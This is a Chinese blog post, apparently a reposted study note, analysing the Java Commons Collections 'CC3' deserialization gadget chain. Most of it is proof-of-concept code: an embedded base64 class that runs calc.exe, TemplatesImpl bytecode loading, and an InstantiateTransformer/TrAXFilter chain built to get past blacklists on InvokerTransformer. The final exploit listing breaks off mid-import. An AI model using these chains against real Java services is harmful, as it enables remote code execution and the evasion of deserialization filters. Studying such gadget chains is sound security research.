CC3--
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC3--相关的知识,希望对你有一定的参考价值。
目录
1. 前言
接着干CC链,就跟着 feng 师傅的博客来了
前面刚学习了 利用 TemplatesImpl
来动态加载字节码,我们通过调用它的 newTransformer()
方法,即可执行这段字节码的类构造器。
那么怎么在反序列化中利用呢?那就是 CC3 了
1.1 利用思路
Y4
绕过了对
InvokerTransformer
的利用,替代方法是这⾥⽤⼀个新的
Transformer
,org.apache.commons.collections.functors.InstantiateTransformer
,通过利⽤nstantiateTransformer
来调⽤到TrAXFilter
的构造⽅法,再利
⽤其构造方法⾥的templates.newTransformer()
调⽤到TemplatesImpl
⾥的字节码
2. 分析
2.0介绍
这里只是最最基本的CC3 的分析,高级的可见 3.x
本来把CC1忘记了,然后看一下,跟一下就想起来了。
总的来说,就是CC1的Map.put()
触发第三个参数的transform()
。然后走的ChainedTransformer#transform()
。然后ChainedTransformer#transform()
中放的显示 TemplatesTmpl
这个类,然后是它的newTransformer()
这个方法,然后就反射调用了。达到了TemplatesTmpl.newTransformer()
的效果
先看一下 CC1 的东西
package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc3test
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]String.class,
new Object[]"calc.exe"),
;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
然后再结合上一个的字节码的demo
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;
public class hellotest
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
结合起来:
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test
public static void main(String[] args) throws Exception
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]
new ConstantTransformer(templates),
// new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc.exe"),
new InvokerTransformer("newTransformer", null,null),
;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
2.1 疑问来了
这也只是换了 触发的时候啊,我们当时 学习 动态加载字节码的时候,直接调用TemplatesTmpl.newTransformer()
这个没有报错啊,
那么这里为什么就要换为反射的方法了啊?难道是它不能够直接序列化,反序列化?
好像没影响啊, 感觉有问题呢?????
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test
public static void main(String[] args) throws Exception
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
setFieldVaule(templates,"_name","adam");
setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]
new ConstantTransformer(templates),
// new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc.exe"),
new InvokerTransformer("newTransformer", null,null),
;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
byte[] bytess = serialize(outerMap);
System.out.println(new String(bytess));
unserialize(bytess);
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
private static byte[] serialize(Object o) throws IOException
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
不知道能不能反序列化,,,
2.2 接着走吧
其实 CC3 不是这个样子的,CC3 是为了 绕过一些规则对于 InvokerTransformer
的限制的,也就是说有一些反序列化的过滤器中的黑名单中有 InvokerTransformer
,所以不使用InvokerTransformer
的CC3才出现了。为了绕过黑名单的检测。
ysoserial
的作者找到了com.sun.org.apache.xalan.internal.xsltc.trax
下面的TrAXFilter
类,它的构造器非常有意思,调用了newTransformer
:
public TrAXFilter (Templates templates)
throws TransformerConfigurationException
m_templates = templates;
m_transformer = (TransformerImpl)templates.newTransformer();
当然没有InvokerTransformer
了,我们也就没有办法调用反射来走TrAXFilet
的构造方法了。
那么我们要使用的化,就需要在 TrAXFilter
的构造参数中传入TemplatesImpl
类了。然后就能够在 new TrAXFilter(TemplatesImpl)
或者classloader.newInstance(TmplatesImpl)
的时候就执行了。
那么我们就要找一个类,它在反序列化readObject()
的时候能够实例化 TrAXFilter
这个类才行啊。而且传入的template
要可控才行呢
或者不用它的readObject()
。是这个过程中的一个方法也行。这个方法能够例化 TrAXFilter
这个类才行啊。而且传入的template
要可控
然后ysoserial
的作者就找到了CommonsCollections
中的这个InstantiateTransformer
类:
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class InstantiateTransformer implements Transformer, Serializable
它继承自Transformer
类,然后通过反射来创建一个对象。
构造方法: 他还有两个对象,分别是反射的参数类型 , 和 反射的参数
public InstantiateTransformer(Class[] paramTypes, Object[] args)
super();
iParamTypes = paramTypes;
iArgs = args;
/** The constructor parameter types */
private final Class[] iParamTypes;
/** The constructor arguments */
private final Object[] iArgs;
和一个transform()
方法
/*Transforms the input Class object to a result by instantiation.*/
public Object transform(Object input)
try
if (input instanceof Class == false)
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
简洁明了,通过反射获取构造器,然后实例化,并返回这个对象,
我们只要替换下这个就行了。POC如下吧:
Transformer[] transformers = new Transformer[]
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]Templates.class,
new Object[]templates
)
;
TrAXFilter
就是传入的 input
。然后,就是走TemplateImpl
构造函数了。它继承自Templates
。所以这里就写这个.class了。
2.3 假的POC
总体的POC
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.以上是关于CC3--的主要内容,如果未能解决你的问题,请参考以下文章